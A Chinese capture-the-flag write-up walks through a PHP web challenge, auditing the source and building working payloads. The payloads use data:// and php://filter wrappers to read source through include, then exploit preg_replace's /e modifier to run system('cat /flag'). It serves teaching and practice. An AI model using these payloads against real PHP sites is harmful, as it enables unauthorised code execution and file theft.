[BJDCTF2020]ZJCTF,不过如此

本文详细解析了PHP代码中的命令执行漏洞,通过审计`preg_replace`函数并利用`data://`和`php://filter`协议,展示了如何构造payload获取flag。重点讲解了如何利用正则表达式执行命令和payload构建策略。

web第39题
[BJDCTF2020]ZJCTF,不过如此

打开靶场
在这里插入图片描述
有点眼熟
参考我做的另一道题:buuctf初学者学习记录–[ZJCTF 2019]NiZhuanSiWei
代码审计:

<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }

    include($file);  //next.php
    
}
else{
    highlight_file(__FILE__);
}
?>

第一步:首先接收2个get参数text和file
然后判断是否存在text和读取text的内容判断是否为I have a dream,也就是说我们需要像text中写入I have a dream,使用php伪协议data://text/plain协议,参考:php伪协议
text参数内容:?text=data://text//plain;base64,SSBoYXZlIGEgZHJlYW0=
其中最后的参数为I have a dream的base64加密后的内容
第二步:使用正则匹配判断file参数是否存在flag字符,然后使用include包含文件,提示next.php,说明此时不能直接读取flag.php。需要先查看next.php的内容,使用php://filter协议,参考上面的链接
构造file参数:file=php://filter/read=convert.base64-encode/resource=next.php

两个参数的payload:

?text=data://text//plain;base64,SSBoYXZlIGEgZHJlYW0=&file=php://filter/read=convert.base64-encode/resource=next.php

在这里插入图片描述
得到next.php文件的base64编码后的数据,解码:

$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}


foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}

function getFlag(){
@eval($_GET['cmd']);
}

关键在于return preg_replace(‘/(‘ . $ re . ‘)/ei‘,‘strtolower("\1")‘,$str);
会造成代码执行
具体分析参考: 深入研究 preg_replace /e 模式下的代码漏洞问题

最后又看到get传入cmd参数,可以对其进行命令执行
引用一下大佬的解析:
参考:[BJDCTF2020]ZJCTF,不过如此

preg_replace()函数最后以/e结尾时,会存在命令执行漏洞,也就是说如果有/e,并且匹配到符合正则表达式的字符串,那么第二个参数的字符串将被当做代码来执行

正则表达式的\S:匹配所有非空白字符; .号:匹配除\n外的任意字符;
*号:匹配前面的字符0次或者多次
+号:匹配前面的字符1次或者多次(如果要在url里输入+号,必须要对其进行编码,+号编码为:%2b)

php里,如果 双引号中有变量,那么php解释器会将其替换为变量解释后的结果,但单引号中的变量不会被处理(不过双引号中的函数不会被执行)

这里的话第二个参数为strtolower("\1"),实际上也就是strtolower("\1"),而\1在正则表达式中有自己的意思,也就是指定第一个匹配项,简单来说就是取出正则表达式匹配后子匹配表达式的第一项
接着继续进行审计,来到foreach()函数,这个函数就是把我们传进去的参数变为正则,并且参数值变为字符串

本地测试:
在这里插入图片描述
所以在preg_replace函数中按照一个参数对第三个参数进行匹配后,用第二个参数进行替换后会对匹配到的第一个匹配项加上双引号,从而导致命令执行

构造payload:

?\S*={${getFlag()}}&cmd=system('cat /flag');

这里解释下用\S*而不是用.的原因: 因为在php中,对于传入非法的$_GET参数名,会将其转换为下划线,导致正则匹配失效
所以我们只能使用\S
或者\S%2b来进行构造payload

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值